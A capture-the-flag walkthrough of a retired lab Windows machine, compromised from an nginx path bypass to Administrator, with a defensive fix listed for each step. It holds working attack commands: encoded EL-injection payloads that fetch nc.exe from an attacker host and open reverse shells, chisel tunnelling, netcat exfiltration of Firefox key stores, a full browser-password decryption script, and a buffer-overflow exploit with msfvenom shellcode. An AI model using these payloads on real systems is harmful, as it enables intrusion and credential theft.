← all walkthroughs

Hancliffe

Windows· Hard· Credential Access· Privilege Escalation
owned
2026-10-15
time to own
1h23m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An nginx front end hid a Nuxeo document server behind a /maintenance redirect, so I bypassed it with the path-normalization trick /maintenance/..;/login.jsp and reached the application. Nuxeo 10.2 is vulnerable to CVE-2018-16341, a JSF/EL injection in the .xhtml handler; I confirmed it with a probe (pwn${-7+7}.xhtml rendered as pwn0.xhtml) and then ran an EL payload through java.lang.Runtime to get a shell as a low-privileged service account. I tunnelled a chisel reverse SOCKS proxy to reach an internal-only application (UR3) on loopback 9512 and ran its public exploit (Exploit-DB 49587) to land a shell as the user clara.

I decrypted clara's saved Firefox logins to recover a HashPass master password, fed it back into the on-box HashPass instance to regenerate the Windows password for the development account, and logged in over WinRM. Finally I reverse-engineered a custom service, MyFirstApp.exe, recovered its hardcoded login, and exploited a stack buffer overflow in it with a socket-reuse stage to get a shell as Administrator.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for development>"
export PASSWORD3="<the-password-you-recovered, for alfiansyah>"

Attack path — how the box was taken

1ReconnaissanceWeb enumeration (T1595)
Found a Nuxeo document server hidden behind a maintenance redirect
Web enumeration behind the nginx front end showed a /maintenance block in front of a Nuxeo document-management application. Requests to the application were intercepted, so the login page was not directly reachable.
Nginx front end; /maintenance redirect in front of a Nuxeo login.jsp.
Exact commands 1
shell

The maintenance path blocks direct access to the app.

$ curl -i -sS --path-as-is http://$TARGET/maintenance/login.jsp
FixPatch Nuxeo and fix the nginx path-normalization bypassCritical
Weaknessnginx blocked the maintenance path by literal prefix, which the ..;/ path-normalization trick bypassed, and the Nuxeo 10.2 behind it was vulnerable to CVE-2018-16341 expression-language (SSTI) injection in .xhtml paths.
FixUpgrade Nuxeo past CVE-2018-16341 (disable EL evaluation of request paths), and in nginx match on the normalized URI (merge_slashes on, reject encoded traversal and ..;/ segments) so access rules cannot be bypassed.
2Initial Accessnginx path-normalization bypass and Nuxeo EL (SSTI) injection, CVE-2018-16341 (T1190)
Bypassed the nginx block with ..;/ and got RCE through Nuxeo EL injection
Nginx matched the literal /maintenance prefix, but Tomcat normalised the path segment ..;/ away, so /maintenance/..;/login.jsp reached the application past the block. Nuxeo 10.2 evaluates expression language in .xhtml request paths (CVE-2018-16341). A probe pwn${-7+7}.xhtml came back resolved as pwn0.xhtml, confirming EL injection. A longer EL payload reflected over facesContext to call java.lang.Runtime.exec ran commands: one request downloaded nc.exe with curl.exe, a second ran it to return a reverse shell to a listener on my machine.
GET /maintenance/..;/login.jsp returned 200 (block bypassed); pwn${-7+7}.xhtml -> pwn0.xhtml; the Runtime.exec payload produced a cmd.exe reverse shell.
Exact commands 3
shell

EL confirmation: pwn${-7+7} resolves to pwn0, proving the expression is evaluated.

$ curl -sS --path-as-is "http://$TARGET/maintenance/..;/login.jsp/pwn$%7b-7+7%7d.xhtml"
shell

The EL payload is URL-encoded end to end so the shell never sees the ${...} braces; it calls java.lang.Runtime.exec to stage nc.exe with curl.exe. Serve nc.exe on 8085 from your machine first.

$ curl -g -sS --path-as-is --max-time 10 "http://$TARGET/maintenance/..;/login.jsp/pwn%24%7BfacesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B13%5D.invoke(facesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B6%5D.invoke(null%2Cnull)%2CparamValues.c)%7D.xhtml?x=java.lang.Runtime&c=curl.exe%20http%3A%2F%2F$ATTACKER_IP%3A8085%2Fnc.exe%20-o%20C%3A%5CProgramData%5Cnc.exe"
shell

Second request runs nc.exe for a reverse shell to a listener on my machine on 7777.

$ curl -g -sS --path-as-is --max-time 8 "http://$TARGET/maintenance/..;/login.jsp/pwn%24%7BfacesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B13%5D.invoke(facesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B6%5D.invoke(null%2Cnull)%2CparamValues.c)%7D.xhtml?x=java.lang.Runtime&c=cmd.exe%20%2Fc%20C%3A%5CProgramData%5Cnc.exe%20$ATTACKER_IP%207777%20-e%20cmd.exe"
3PivotingReverse SOCKS tunnel (T1090)
Tunnelled a SOCKS proxy with chisel to reach loopback 9512
From the foothold shell, netstat showed an internal-only service listening on 127.0.0.1:9512 (the UR3 application) that was not exposed externally. Chisel was staged onto the host and connected back to a chisel server on my machine as a reverse SOCKS proxy, making 127.0.0.1 on the target reachable through proxychains.
Netstat -ano on the foothold showed 127.0.0.1:9512 LISTENING; chisel reverse SOCKS exposed it on local port 1080.
Exact commands 3
shell

Local chisel server.

$ /usr/local/bin/chisel server --port 9999 --reverse
shell

Stage chisel on the foothold (parallel to the nc.exe staging above).

$ curl.exe http://$ATTACKER_IP:9000/win/chisel-x64.exe -o C:\ProgramData\chisel.exe
shell

Reverse SOCKS back to me; 127.0.0.1:9512 is now reachable via the proxy.

$ start /b C:\ProgramData\chisel.exe client $ATTACKER_IP:9999 R:socks
FixSegment internal applications so a single compromised service cannot reach themHigh
WeaknessAn internal-only application was reachable in full from a single compromised foothold via a simple tunnel, with no network-level separation between the public-facing web tier and internal line-of-business tools.
FixPlace internal-only services on a separate network segment with firewall rules that block lateral traffic from the DMZ/web tier, and require authenticated, logged access for any cross-tier connection.
4Lateral MovementKnown-exploit code execution over the pivot (T1210)
Exploited the internal UR3 application for a shell as clara
The loopback service on 9512 was the UR3 application, which has a public exploit (Exploit-DB 49587) that drives the application to open a command prompt and type a staged payload. Run through proxychains against 127.0.0.1, it executed a reverse-shell binary and returned a shell as the user clara. The exploit (EDB-49587) drives the UR3 service to open a command prompt and auto-type a one-line downloader; it needs the SOCKS proxy to 127.0.0.1:9512 already up and the staged rev.exe reachable over HTTP on my machine.
Proxychains python2 49587.py reached 127.0.0.1; the exploit's 'Opening CMD / Super Fast Hacker Typing' stages ran and a reverse shell landed as clara.
Exact commands 1
shell

EDB-49587 against the loopback UR3 service through the SOCKS proxy; rev.exe is an msfvenom reverse shell served over HTTP, and the callback is caught on the paired listener.

$ proxychains4 -q -f proxychains.conf python2 /usr/share/exploitdb/exploits/windows/remote/49587.py 127.0.0.1 $ATTACKER_IP:8086 rev.exe
FixPatch or remove the vulnerable internal UR3 applicationHigh
WeaknessAn internal line-of-business application (UR3) listening on loopback 9512 had a public remote code execution exploit (Exploit-DB 49587), so any foothold that could reach it gained code execution as the user clara.
FixPatch the UR3 application to a fixed version or decommission it. Until then, restrict it to authenticated local callers only and monitor for the exploit's command-prompt automation behaviour.
5Credential AccessBrowser credential-store decryption and stateless-password-manager abuse (T1555.003)
Decrypted clara's Firefox logins and regenerated development's password with HashPass
Clara's Firefox profile held key4.db and logins.json. Both were base64-encoded with certutil and sent to me over netcat, then decoded. Mozilla's NSS needs a cert9.db alongside key4.db, so an empty cert database was created and placed beside the recovered key before decrypting. The decrypted entry gave the master password for a local HashPass stateless password manager (site hancliffe.htb). Submitting the account name development, the site value, and that master password to the on-box HashPass instance regenerated the deterministic Windows password for the development account.
Firefox decrypt returned username=hancliffe.htb and the HashPass master password $PASSWORD; HashPass with fullname=development returned the development Windows password $PASSWORD2.
Exact commands 7
shell

Base64-encode key4.db (repeat for logins.json).

$ certutil -encode C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db C:\ProgramData\key4.db.b64
shell

My listener; on the target run C:\ProgramData\nc.exe $ATTACKER_IP 7780 < C:\ProgramData\key4.db.b64 (and 7781 for logins.json).

$ ncat -lvnp 7780 --recv-only > key4.db.b64
shell

Strip the certutil header/footer and decode back to key4.db.

$ sed '1d;$d' key4.db.b64 | tr -d '\r\n' | base64 -d > key4.db
shell

A small ctypes wrapper over libnss3 that authenticates the (empty-primary-password) key store and decrypts each logins.json entry.

$ cat > decrypt_firefox.py <<'EOF'
#!/usr/bin/env python3
import base64, ctypes, json, os, sys
from ctypes import POINTER, Structure, byref, c_char_p, c_int, c_uint, c_ubyte, c_void_p, cast, string_at

class SECItem(Structure):
    _fields_ = [("type", c_uint), ("data", POINTER(c_ubyte)), ("len", c_uint)]

profile = os.path.abspath(sys.argv[1] if len(sys.argv) > 1 else ".")
nss = ctypes.CDLL("libnss3.so")
nss.NSS_Init.argtypes = [c_char_p]
nss.NSS_Init.restype = c_int
nss.NSS_Shutdown.restype = c_int
nss.PK11_GetInternalKeySlot.restype = c_void_p
nss.PK11_CheckUserPassword.argtypes = [c_void_p, c_char_p]
nss.PK11_CheckUserPassword.restype = c_int
nss.PK11_Authenticate.argtypes = [c_void_p, c_int, c_void_p]
nss.PK11_Authenticate.restype = c_int
nss.PK11_FreeSlot.argtypes = [c_void_p]
nss.PK11SDR_Decrypt.argtypes = [POINTER(SECItem), POINTER(SECItem), c_void_p]
nss.PK11SDR_Decrypt.restype = c_int
nss.SECITEM_ZfreeItem.argtypes = [POINTER(SECItem), c_int]

if nss.NSS_Init(("sql:" + profile).encode()) != 0:
    raise SystemExit("NSS_Init failed for " + profile)
slot = nss.PK11_GetInternalKeySlot()
if not slot:
    raise SystemExit("PK11_GetInternalKeySlot failed")
if nss.PK11_CheckUserPassword(slot, b"") != 0:
    raise SystemExit("Firefox primary password is not empty")
if nss.PK11_Authenticate(slot, 1, None) != 0:
    raise SystemExit("PK11_Authenticate failed")

def decrypt(value):
    raw = base64.b64decode(value)
    buf = (c_ubyte * len(raw)).from_buffer_copy(raw)
    src = SECItem(0, cast(buf, POINTER(c_ubyte)), len(raw))
    dst = SECItem()
    if nss.PK11SDR_Decrypt(byref(src), byref(dst), None) != 0:
        raise RuntimeError("PK11SDR_Decrypt failed")
    try:
        return string_at(dst.data, dst.len).decode("utf-8")
    finally:
        nss.SECITEM_ZfreeItem(byref(dst), 0)

with open(os.path.join(profile, "logins.json"), encoding="utf-8") as f:
    data = json.load(f)
for entry in data.get("logins", []):
    print("hostname=" + entry.get("hostname", ""))
    print("username=" + decrypt(entry["encryptedUsername"]))
    print("password=" + decrypt(entry["encryptedPassword"]))
nss.PK11_FreeSlot(slot)
nss.NSS_Shutdown()
EOF
shell

NSS needs a cert9.db companion; create an empty one, place it beside key4.db/logins.json, then decrypt. Recovers the HashPass master password $PASSWORD.

$ certutil -N --empty-password -d sql:nssdummy && cp nssdummy/cert9.db . && python3 decrypt_firefox.py .
shell

The on-box HashPass regenerates development's deterministic Windows password $PASSWORD2.

$ curl -sS -X POST --data-urlencode 'fullname=development' --data-urlencode 'website=hancliffe.htb' --data-urlencode "masterpassword=$PASSWORD" --data-urlencode 'length=16' --data-urlencode 'counter=1' http://$TARGET:8000/
shell

WinRM as development over the pivot.

$ proxychains4 -q -f proxychains.conf evil-winrm -i 127.0.0.1 -u development -p "$PASSWORD2"
FixStop storing recoverable plaintext-equivalent credentials in the browser and in a custom password-recovery toolHigh
Weaknessclara's Firefox stored a reversibly protected master password for a local HashPass instance, and that stateless manager deterministically regenerated the development account's Windows password from it.
FixDo not store credentials in browser password stores on shared or service hosts, set a real Firefox primary password, and do not derive production account passwords from a recoverable master value; use unique random passwords in a vault.
6DiscoveryBinary reverse engineering and hardcoded-credential recovery (T1552.001)
Reverse-engineered MyFirstApp.exe to recover its hardcoded login
As development, the custom service binary C:\DevApp\MyFirstApp.exe was downloaded and disassembled. Its login routine compared against a hardcoded username (alfiansyah) and an encoded password constant held in sym._login. That constant is reversibly obfuscated, so decoding it offline recovers the plaintext login password. The binary is a 32-bit non-ASLR module that reads a FullName and a Code over a socket, which set up the overflow in the next step.
rabin2/r2 showed str.alfiansyah and an encoded password constant in sym._login; decoding that constant offline yields the login password ($PASSWORD3). Prompts: 'FullName:' and 'Input Your Code:'.
Exact commands 2
shell

From the development evil-winrm session, pull the binary to me for analysis.

$ download C:\DevApp\MyFirstApp.exe MyFirstApp.exe
shell

Shows the hardcoded username alfiansyah and an encoded password constant. Extract that constant from sym._login and decode it offline to recover $PASSWORD3.

$ r2 -q -e scr.color=false -c 'aaa; pdf @ sym._login' MyFirstApp.exe
FixFix the unsafe string copy and harden the custom MyFirstApp serviceCritical
WeaknessMyFirstApp.exe held a hardcoded, weakly obfuscated login and copied externally controlled input into a fixed-size stack buffer without bounds checking (CWE-121), and it was built without ASLR, running as Administrator.
FixRemove hardcoded credentials, bounds-check all network input (use safe string copies), compile with /GS, DEP and ASLR, and run the service under a least-privilege account rather than Administrator.
7Privilege EscalationStack buffer overflow with socket reuse, CWE-121 (T1068)
Exploited a stack overflow in MyFirstApp.exe with socket reuse to get Administrator
MyFirstApp.exe listens on TCP 9999 (a netsh portproxy forwards 0.0.0.0:9999 to the loopback bind, and the service self-restarts on a short interval). After authenticating with the recovered credentials, the exploit sends a literal FullName and then overflows the stack buffer at the Code prompt: 66 bytes reach the saved EIP. The module ships without ASLR, so EIP is redirected through a jmp esp gadget at 0x719023a8 inside the module. The stack space after EIP is too small for a full payload, so a short first-stage stub placed in the Code buffer calls recv() on the already-connected socket to pull a larger msfvenom second stage, which runs as Administrator.
EIP control at offset 66 in the Code field; jmp esp gadget 0x719023a8; a 72-byte overflow followed by a socket-reuse recv stage returned a shell whose whoami was hancliffe\administrator; root.txt read as <root.txt>.
Exact commands 2
shell

Authenticates to MyFirstApp on 9999, sends the literal FullName, then the 66-byte-to-EIP overflow at the Code prompt (jmp esp 0x719023a8) followed by the socket-reuse stage. Build root4444.bin with: msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f raw -o root4444.bin.

$ python3 exploit_myfirstapp.py $TARGET --port 9999 --user alfiansyah --password "$PASSWORD3" --stage root4444.bin
shell

Catch the Administrator shell; then type C:\Users\Administrator\Desktop\root.txt (<root.txt>).

$ ncat -lvnp 4444

Exposed services

80/tcp
8000/tcp
9999/tcp